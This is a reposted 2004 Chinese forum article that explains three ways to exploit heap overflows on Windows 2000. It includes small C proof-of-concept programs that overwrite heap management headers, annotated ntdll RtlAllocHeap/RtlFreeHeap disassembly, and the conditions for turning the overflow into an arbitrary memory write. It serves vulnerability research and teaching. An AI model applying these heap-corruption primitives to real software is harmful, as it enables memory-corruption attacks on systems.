【分析】總結windows下堆溢出的三種利用方式

來源:互聯網
上載者:User
總結windows下堆溢出的三種利用方式

建立時間:2004-04-08
文章屬性:轉載
文章提交:watercloud (watercloud_at_xfocus.org)

原文由Leven發在網路編程版:
https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=34455&p=122380

總結windows下堆溢出的三種利用方式

1.利用RtlAllocHeap
這是ISNO提到的,看這個例子

main (int argc, char *argv[])
{
  char *buf1, *buf2;
  char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x01/x08/x00/x11/x11/x11/x11/x21/x21/x21/x21";

  buf1 = (char*)malloc (32); /* 分配兩塊記憶體 */
  memcpy (buf1, s, 32+16); /* 這裡多複製16個位元組 */

  buf2 = (char*)malloc (16);

  free (buf1);
  free (buf2);

  return 0;
}

在給buf1完成malloc之後,返回的地址(buf1)是個指標,指向的記憶體配置情況是這樣

buf1的管理結構(8bytes)|buf1真正可操作空間(32bytes)|下一個空閑堆的管理結構(8bytes)|兩個雙鏈表指標(8bytes)

在給buf2完成malloc之後,buf1指向的記憶體配置情況是這樣

buf1的管理結構(8bytes)|buf1真正可操作空間(32bytes)|buf2的管理結構(8bytes)|buf2真正可操作空間(16bytes)|兩個雙鏈表指標(8bytes)

現在如果在buf2分配空間之前,buf1的memcpy操作溢出,並且覆蓋了
下一個空閑堆的管理結構(8bytes)|兩個雙鏈表指標(8bytes)
共16個位元組的時候,就會造成buf2的RtlAllocHeap操作異常。原因看RtlAllocHeap的這段代碼

001B:77FCC453  8901                MOV       [ECX],EAX
001B:77FCC455  894804              MOV       [EAX+04],ECX

此時ECX指向兩個雙鏈表指標(8bytes)的後一個指標(0x21212121),EAX指向前一個指標(0x11111111)。類似於 format string溢出,可以寫任意資料到任意地址,這種情況比較簡單,前提是在buf2分配空間之前buf1有溢出的機會

2.利用RtlFreeHeap的方式一
這是ilsy提到的,看例子

main (int argc, char *argv[])
{
  char *buf1, *buf2;
  char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x09";

  buf1 = (char*)malloc (32); /* 分配兩塊記憶體 */
  buf2 = (char*)malloc (16);

  memcpy (buf1, s, 32+6); /* 這裡多複製6個位元組 */

  free (buf1);
  free (buf2);

  return 0;
}

由於buf1多複製了6個位元組,這6個位元組會覆蓋掉buf2的管理結構,在free(buf2)時會發生異常。只要我們精心構造這個6個位元組就可以達到目的

先看看8位元組管理結構的定義(從windows源碼中找到)
typedef struct _HEAP_ENTRY {

    //
    //  This field gives the size of the current block in allocation
    //  granularity units.  (i.e. Size << HEAP_GRANULARITY_SHIFT
    //  equals the size in bytes).
    //
    //  Except if this is part of a virtual alloc block then this
    //  value is the difference between the commit size in the virtual
    //  alloc entry and the what the user asked for.
    //

    USHORT Size;

    //
    // This field gives the size of the previous block in allocation
    // granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
    // equals the size of the previous block in bytes).
    //

    USHORT PreviousSize;

    //
    // This field contains the index into the segment that controls
    // the memory for this block.
    //

    UCHAR SegmentIndex;

    //
    // This field contains various flag bits associated with this block.
    // Currently these are:
    //
    //  0x01 - HEAP_ENTRY_BUSY
    //  0x02 - HEAP_ENTRY_EXTRA_PRESENT
    //  0x04 - HEAP_ENTRY_FILL_PATTERN
    //  0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
    //  0x10 - HEAP_ENTRY_LAST_ENTRY
    //  0x20 - HEAP_ENTRY_SETTABLE_FLAG1
    //  0x40 - HEAP_ENTRY_SETTABLE_FLAG2
    //  0x80 - HEAP_ENTRY_SETTABLE_FLAG3
    //

    UCHAR Flags;

    //
    // This field contains the number of unused bytes at the end of this
    // block that were not actually allocated.  Used to compute exact
    // size requested prior to rounding requested size to allocation
    // granularity.  Also used for tail checking purposes.
    //

    UCHAR UnusedBytes;

    //
    // Small (8 bit) tag indexes can go here.
    //

    UCHAR SmallTagIndex;

#if defined(_WIN64)
    ULONGLONG Reserved1;
#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一個堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意這裡的size是實際大小進行8位元組對齊後除以8的值
可以看看flag的各個定義

再看看RtlFreeHeap裡面幾個關鍵的地方

關鍵點一
001B:77FCC829  8A4605              MOV       AL,[ESI+05]  //esi指向buf2的8位元組管理結構的起始地址,al即flag
001B:77FCC82C  A801                TEST      AL,01      //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E  0F84A40E0000        JZ        77FCD6D8      //不含則跳轉。這裡不能跳
001B:77FCC834  F6C207              TEST      DL,07      
001B:77FCC837  0F859B0E0000        JNZ       77FCD6D8
001B:77FCC83D  807E0440            CMP       BYTE PTR [ESI+04],40    //esi+4是否大於0x40
001B:77FCC841  0F83910E0000        JAE       77FCD6D8            //大於等於則跳轉,這裡不能跳
001B:77FCC847  834DFCFF            OR        DWORD PTR [EBP-04],-01
001B:77FCC84B  A8E0                TEST      AL,E0            //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D  754A                JNZ       77FCC899            //只要含有一個就跳,這裡不重要
001B:77FCC84F  8B8F80050000        MOV       ECX,[EDI+00000580]
001B:77FCC855  85C9                TEST      ECX,ECX
001B:77FCC857  7440                JZ        77FCC899            //這裡必然會跳

關鍵點二
001B:77FCC899  C745FC01000000      MOV       DWORD PTR [EBP-04],00000001    
001B:77FCC8A0  F6C301              TEST      BL,01
001B:77FCC8A3  750F                JNZ       77FCC8B4            //這裡必然會跳
001B:77FCC8A5  FFB778050000        PUSH      DWORD PTR [EDI+00000578]
001B:77FCC8AB  E853C8FBFF          CALL      ntdll!RtlEnterCriticalSection
001B:77FCC8B0  C645D401            MOV       BYTE PTR [EBP-2C],01
001B:77FCC8B4  F6460508            TEST      BYTE PTR [ESI+05],08    //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8  0F858BF2FFFF        JNZ       77FCBB49            //含有則跳,這裡要跳

關鍵點三
001B:77FCBB49  83C6E8              ADD       ESI,-18            //ilsy說在不同的windows版本上這個0x18的是不同的
001B:77FCBB4C  89759C              MOV       [EBP-64],ESI
001B:77FCBB4F  8B06                MOV       EAX,[ESI]
001B:77FCBB51  894598              MOV       [EBP-68],EAX
001B:77FCBB54  8B7604              MOV       ESI,[ESI+04]
001B:77FCBB57  897594              MOV       [EBP-6C],ESI
001B:77FCBB5A  8906                MOV       [ESI],EAX            //這裡會操作異常

我們看到最後操作異常的時候EAX=0X61616161,ESI=0X61616161,正好是buf1裡的值,就是將buf2的起始地址減去0x18的地址的資料複製到之後

的資料所指向的地址。我們可以控制這兩個資料。
可見第二種方式的前提有三個:
1)構造堆(buf2)的flag必須含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以設成0xff
2)構造堆的flag前面那個位元組要比0x40小
3)構造堆的上一個堆(即buf1)的長度必須大於或等於0x18+0x08即32個位元組,否則在關鍵點三處,ESI會指向我們不能控制的地區,造成利用失敗
還有ilsy提到位元組構造的8位元組管理結構的第一個位元組必須大於0x80,在我的機器上並沒有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

3.利用RtlFreeHeap的方式二

這是我研究堆溢出發現的第一種異常情況,之前不明就裡,花了2個小時看了幾篇文章之後,認為這是unlink本堆塊時發生的異常。
看例子

main (int argc, char *argv[])
{
  char *buf1, *buf2;
  char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x00/x08/x00/x11/x11/x11/x11/x22/x22/x22/x22";

  buf1 = (char*)malloc (32); /* 分配兩塊記憶體 */
  buf2 = (char*)malloc (16);

  memcpy (buf1, s, 32+16); /* 這裡多複製16個位元組 */

  free (buf1);
  free (buf2);

  return 0;
}

看起來和方式二很象,不過運行之後會發現,不同於上面提到的,這裡在free(buf1)時就出現異常。同樣再看看RtlFreeHeap的幾個關鍵點

關鍵點一
同方式二的關鍵點一,設法跳到關鍵點二

關鍵點二
001B:77FCC899  C745FC01000000      MOV       DWORD PTR [EBP-04],00000001
001B:77FCC8A0  F6C301              TEST      BL,01
001B:77FCC8A3  750F                JNZ       77FCC8B4
001B:77FCC8A5  FFB778050000        PUSH      DWORD PTR [EDI+00000578]
001B:77FCC8AB  E853C8FBFF          CALL      ntdll!RtlEnterCriticalSection
001B:77FCC8B0  C645D401            MOV       BYTE PTR [EBP-2C],01
001B:77FCC8B4  F6460508            TEST      BYTE PTR [ESI+05],08    //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8  0F858BF2FFFF        JNZ       77FCBB49            //含有則跳,這裡不能跳
001B:77FCC8BE  0FB706              MOVZX     EAX,WORD PTR [ESI]
001B:77FCC8C1  8945D0              MOV       [EBP-30],EAX
001B:77FCC8C4  F6470C80            TEST      BYTE PTR [EDI+0C],80
001B:77FCC8C8  7515                JNZ       77FCC8DF
001B:77FCC8CA  6A00                PUSH      00
001B:77FCC8CC  8D45D0              LEA       EAX,[EBP-30]
001B:77FCC8CF  50                  PUSH      EAX
001B:77FCC8D0  56                  PUSH      ESI
001B:77FCC8D1  57                  PUSH      EDI
001B:77FCC8D2  E8EA000000          CALL      77FCC9C1            //進入這個CALL

關鍵點三
001B:77FCC9C1  55                  PUSH      EBP
001B:77FCC9C2  8BEC                MOV       EBP,ESP
001B:77FCC9C4  53                  PUSH      EBX
001B:77FCC9C5  56                  PUSH      ESI
001B:77FCC9C6  8B750C              MOV       ESI,[EBP+0C]
001B:77FCC9C9  8B5D08              MOV       EBX,[EBP+08]
001B:77FCC9CC  57                  PUSH      EDI
001B:77FCC9CD  8BFE                MOV       EDI,ESI            //ESI指向buf1的起始地址
001B:77FCC9CF  0FB74602            MOVZX     EAX,WORD PTR [ESI+02]    //將buf1之前的堆的長度放入EAX
001B:77FCC9D3  C1E003              SHL       EAX,03            //乘以8得到實際大小
001B:77FCC9D6  2BF8                SUB       EDI,EAX            //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8  3BFE                CMP       EDI,ESI
001B:77FCC9DA  740A                JZ        77FCC9E6
001B:77FCC9DC  F6470501            TEST      BYTE PTR [EDI+05],01    //上一個堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0  0F8498E9FFFF        JZ        77FCB37E            //不能跳
001B:77FCC9E6  F6460510            TEST      BYTE PTR [ESI+05],10    //上一個堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA  750F                JNZ       77FCC9FB            //不能跳
001B:77FCC9EC  8B4510              MOV       EAX,[EBP+10]
001B:77FCC9EF  8B00                MOV       EAX,[EAX]            //buf1的堆的長度
001B:77FCC9F1  F644C60501          TEST      BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6  8D3CC6              LEA       EDI,[EAX*8+ESI]        //EDI指向buf2的起始地址
001B:77FCC9F9  7409                JZ        77FCCA04            //不含則跳(合并空閑堆?),這裡要跳
001B:77FCC9FB  8BC6                MOV       EAX,ESI
001B:77FCC9FD  5F                  POP       EDI
001B:77FCC9FE  5E                  POP       ESI
001B:77FCC9FF  5B                  POP       EBX
001B:77FCCA00  5D                  POP       EBP
001B:77FCCA01  C21000              RET       0010
001B:77FCCA04  0FB70F              MOVZX     ECX,WORD PTR [EDI]        //ECX即buf2的堆的長度
001B:77FCCA07  03C8                ADD       ECX,EAX            //加上buf1的堆的長度
001B:77FCCA09  81F900FE0000        CMP       ECX,0000FE00        //是否大於0xfe00
001B:77FCCA0F  77EA                JA        77FCC9FB            //大於則跳,這裡不能跳
001B:77FCCA11  807D1400            CMP       BYTE PTR [EBP+14],00
001B:77FCCA15  0F85FB210000        JNZ       77FCEC16
001B:77FCCA1B  8A4705              MOV       AL,[EDI+05]        //AL即buf2的flag
001B:77FCCA1E  2410                AND       AL,10            //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20  A810                TEST      AL,10
001B:77FCCA22  884605              MOV       [ESI+05],AL        //將buf1的flag置為HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25  754B                JNZ       77FCCA72            //含則跳,這裡不能跳
001B:77FCCA27  57                  PUSH      EDI
001B:77FCCA28  53                  PUSH      EBX
001B:77FCCA29  E80CCBFBFF          CALL      77F8953A
001B:77FCCA2E  8B4F0C              MOV       ECX,[EDI+0C]        //將buf2的0x0c位移給ECX
001B:77FCCA31  8B4708              MOV       EAX,[EDI+08]        //將buf2的0x08位移給EAX
001B:77FCCA34  3BC1                CMP       EAX,ECX
001B:77FCCA36  8901                MOV       [ECX],EAX            //這裡發生異常
001B:77FCCA38  894804              MOV       [EAX+04],ECX

方式三和方式二都是利用RtlFreeHeap函數,它們的分岔口在於關鍵點二的

001B:77FCC8B8  0F858BF2FFFF        JNZ       77FCBB49

方式二在這裡要跳,方式三不能跳,從而進入下面的CALL(關鍵點三)
發生異常時ECX=0x22222222,EAX=0x11111111,這是我們能控制的。
可見方式三的前提有三個
1)構造堆(buf2)的長度不能為0
2)構造堆的上一個堆(buf1)和構造堆的長度相加不能大於0xfe00(div8之後)
3)構造堆的flag不能包含HEAP_ENTRY_BUSY

除了以上三種利用方式還有一種,和方式三差不多,不過是在free(buf2)時發生異常,應該是由於在合并下一個堆時間長度度計算錯誤造成的,具體就不分析了,類似於linux下的堆溢出,不過windows下不能將堆長度設為負數,造成一定的麻煩,sign

溢出之後的事情就不再說了。寫這些主要為了分析總結一些東西,希望對初學者有協助,不當之處請指正。

Leven 編輯於 2004-03-22 19:52
---
暈倒中

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.